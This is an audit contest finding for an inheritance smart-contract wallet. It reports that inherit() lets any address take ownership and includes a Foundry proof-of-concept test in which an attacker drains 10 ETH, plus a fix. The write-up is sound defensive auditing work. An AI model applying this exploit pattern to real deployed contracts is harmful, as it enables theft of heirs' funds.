Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The inherit() function lacks access control allowing anyone to become owner

0xWithdrawers

Description

The inherit() function in the InheritanceManager contract allows any address to claim ownership after the inactivity period of 90 days, even if they are not a beneficiary. This occurs when there is only one beneficiary in the contract. The function lacks proper access control mechanisms, such as a modifier to ensure only beneficiaries can call this function.

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

This vulnerability biases the purpose of the inheritance manager, as it allows arbitrary addresses to take control of the contract and its assets.

Impact

  1. Contract Ownership Takeover: An attacker can monitor the inheritance contracts with only one beneficiary and claim ownership after the 90 days inactivity period ends. He can then control it and manipulate the beneficiaries set on the contract.

  2. Contract Assets Withdrawal: The attacker becoming new owner of the contract can then perform call to function set with the onlyOwner modifier. For example, the attacker could call both sendERC20() and sendETH() methods to drain all assets from the contract.

Proof of Concept (PoC)

The following code demonstrates that the inherit() function is vulnerable:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
​
import "forge-std/Test.sol";
import "../src/InheritanceManager.sol";
​
/**
* This PoC demonstrates an improper access control on the inherit() function.
* The lack of modifier allows an attacker to become the owner when there is only one beneficiary
* and after 90 days
*/
​
contract PoCTest is Test {
InheritanceManager target;
address inheritanceOwner = address(0x1);
address benef1 = address(0x2);
address attacker = address(0x4);
function setUp() public {
// Deployer is the owner of the contract
vm.prank(inheritanceOwner);
target = new InheritanceManager();
​
// Add a beneficiary to the contract
vm.prank(inheritanceOwner);
target.addBeneficiery(benef1);
​
// Set 10 ether in the contract
vm.deal(address(target), 10 ether);
}
function testInherit() public {
// Get the contract's owner address and verify it is the inheritanceOwner address
address owner = target.getOwner();
assertEq(owner, inheritanceOwner);
console.log("Initial contract owner: ", owner);
​
// Check that the initial balance of the attacker is 0 ETH
assertEq(attacker.balance, 0 ether);
console.log("Initial attacker balance (ETH): ", attacker.balance);
​
// Virtually let 90 days pass
vm.warp(target.getDeadline() + 90 days);
​
// Impersonate the attacker and perform a call to the inherit() function
vm.prank(attacker);
target.inherit();
​
// Get the contract's owner address and verify it is the attacker address now
address newOwner = target.getOwner();
assertEq(newOwner, attacker);
​
console.log("New contract owner: ", newOwner);
​
// Attacker drains the contract funds by sending the ETH to his wallet
vm.prank(attacker);
target.sendETH(10 ether, attacker);
​
// Check that the balance of the attacker is now 10 ETH
assertEq(attacker.balance, 10 ether);
console.log("New attacker balance (ETH): ", attacker.balance);
}
}

Place the test in the test folder and run it with the following command

forge test --match-test testInherit -vv

The PoC confirms that the lack of access control on the inherit() function allows attackers to manipulate the contract. The output will appear as following:

[PASS] testInherit() (gas: 75142)
Logs:
Initial contract owner: 0x0000000000000000000000000000000000000001
Initial attacker balance (ETH): 0
New contract owner: 0x0000000000000000000000000000000000000004
New attacker balance (ETH): 10000000000000000000

Recommendation

The inherit() function should ensure that only beneficiaries can call this function and that the ownership cannot be taken over by an attacker.

modifier onlyBeneficiary() {
bool isBeneficiary = false;
for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender == beneficiaries[i]) {
isBeneficiary = true;
break;
}
}
require(isBeneficiary, "Caller is not a beneficiary");
_;
}
​
// Apply the modifier to the inherit function
function inherit() external onlyBeneficiary {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

Concrete Impact Example

Consider a scenario where an attacker exploits this vulnerability:

  1. An estate worth 100 ETH is managed through this contract

  2. The owner passes away, leaving a single beneficiary (for example his child)

  3. After 90 days, the child attempts to claim ownership

  4. A malicious actor who has been monitoring the blockchain front-runs the transaction and becomes the owner as described in our Proof-Of-Concept

  5. The attacker withdraws the 100 ETH from the contract to his wallet

  6. The contract is now empty, and the benficiary is not able to claim his due anymore

This scenario highlights the lack of protection of the contract on its fundamental purpose about secure inheritance.

Updates

Lead Judging Commences

0xtimefliez Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.